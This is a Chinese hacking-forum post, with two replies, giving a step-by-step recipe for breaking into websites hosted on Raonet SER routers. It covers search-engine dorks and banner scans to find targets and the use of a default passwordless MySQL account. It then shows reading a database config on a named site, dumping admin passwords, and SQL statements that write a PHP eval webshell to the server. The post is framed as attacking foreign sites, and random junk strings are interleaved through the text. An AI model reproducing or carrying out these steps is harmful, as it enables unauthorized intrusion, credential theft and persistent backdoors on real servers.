利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
% g9 P4 ^" A7 s+ p: C
: T6 `- n4 Z: E2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

8 o$ ?8 e7 n+ K% c3 H  _//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......



入侵步骤：
. ~' F1 s- e5 M2 z$ h! e3 E
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
: ~  D+ ^6 n! u3 t- T9 ^* {4 r7 {
) |+ a9 h# a8 w. _* ?2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
  }: f- |; }3 E' Cselect id,passwd from user;
$ d9 i% y3 x' }5 D" r4:通过数据库写入webshell，执行命令：
$ ]$ ?5 C4 o0 T; K; a1 |use mysql;
( j0 k2 k( X* L6 N* m) C2 Xcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
, I) {% O( v1 T3 Q$ O: F
. B9 G4 T5 L$ B: x  |5:连接后门shell.php

6. 搞定！
7 `. F% u& ~7 C; R" n' l! G
! ]0 t2 z% Q2 [$ x

jos666

不错哦，黑服务器补洞。。

Anthony~

这个后果可以很严重的说